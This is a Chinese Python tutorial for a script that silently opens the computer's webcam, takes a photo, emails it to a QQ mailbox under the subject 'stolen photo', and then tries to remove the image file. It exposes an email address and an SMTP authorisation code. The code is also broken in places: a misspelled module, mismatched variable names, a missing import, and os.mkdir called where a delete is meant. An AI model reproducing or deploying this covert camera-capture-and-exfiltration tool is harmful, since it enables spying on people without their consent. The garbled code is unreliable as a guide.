Python之实现自动开启摄像头拍照,后面发送邮寄给个人
文章目录
先导入需要的库文件:
import cv2 #第三方库 opencv-python 需要下载安装 作用 用于拍照
from smtplib import SMTP_SSL #加密传输协议
from email.header import Header #添加邮件信息
from email.mine.text import MIMEText #设置内容
from email.mime.multipart import MIMEMultipart #用于创建邮件的格式
如歌没有安装,通过pip命令安装:
pip install opencv-python
pip install smtplib
第一步,我们要开启电脑的摄像头实现拍照:
#打开摄像头拍照
cap=cv2.VideoCapture(0) #开启摄像头拍照
_,fram=cap.read() #读取拍摄到德照片 _ 有两个返回值,其中一个我不需要
cv2.imwrite('image.jpg',frame) #把读取到图片数据保存到我的电脑
cap.release() #关闭摄像头
第二步,我们要发送邮件,就必须创建邮件:
#创建一封邮件用于传输照片
qq_server='smtp.qq.com'
qq_email_user='自己的邮箱号' #设置邮箱的账号
qq_email_password='gtyqshiptqaibghf' #授权码->密码
运行后,会在邮箱里面收到授权码
qq_email_password='gtyqshiptqaibghf' #授权码->密码
第三步,创建邮件的格式,发送电脑开启摄像头拍的照片
#创建邮件格式
msg=MIMEMultipart()
msg['Subject']=Header('窃取的照片') #设置邮件的主题名字
msg['From']=qq_email_user #设置发送者的邮箱
msg['TO']=qq_email_user #设置接收者的邮箱
把照片以附件的形式添加到邮件
#把照片以附件的形式添加到邮件
img=open('image.jpg','rb').read() #打开图片
image=MIMEText(img,'base64','utf-8') #转化图片数据格式
image["Content-Type"]='image/jpg' #设置添加数据为图片类型
msg.attach(image) #将转化的数据添加为附件
发送邮件
#发送邮件
email=SMTP_SSL(qq_server) #路径服务器
email.login(qq_email_user,qq_email_password) #登录邮箱
email.sendmail(qq_server,qq_email_user,msg.as_string())
email.quit()
最后一步:删除照片
#记得删除照片
os.mkdir('image.jpg')
下面是完整代码:
import cv2 #第三方库 opencv-python 需要下载安装 作用 用于拍照
from smtplib import SMTP_SSL #加密传输协议
from email.header import Header #添加邮件信息
from email.mine.text import MIMEText #设置内容
from email.mime.multipart import MIMEMultipart #用于创建邮件的格式
#打开摄像头拍照
cap=cv2.VideoCapture(0) #开启摄像头拍照
_,fram=cap.read() #读取拍摄到德照片 _ 有两个返回值,其中一个我不需要
cv2.imwrite('image.jpg',frame) #把读取到图片数据保存到我的电脑
cap.release() #关闭摄像头
#创建一封邮件用于传输照片
qq_server='smtp.qq.com'
qq_email_user='872347348@qq.com' #设置邮箱的账号
qq_email_password='gtyqshiptqaibghf' #授权码->密码
#创建邮件格式
msg=MIMEMultipart()
msg['Subject']=Header('窃取的照片') #设置邮件的主题名字
msg['From']=qq_email_user #设置发送者的邮箱
msg['TO']=qq_email_user #设置接收者的邮箱
#把照片以附件的形式添加到邮件
img=open('image.jpg','rb').read() #打开图片
image=MIMEText(img,'base64','utf-8') #转化图片数据格式
image["Content-Type"]='image/jpg' #设置添加数据为图片类型
msg.attach(image) #将转化的数据添加为附件
#发送邮件
email=SMTP_SSL(qq_server) #路径服务器
email.login(qq_email_user,qq_email_password) #登录邮箱
email.sendmail(qq_server,qq_email_user,msg.as_string())
email.quit()
#记得删除照片
os.mkdir('image.jpg')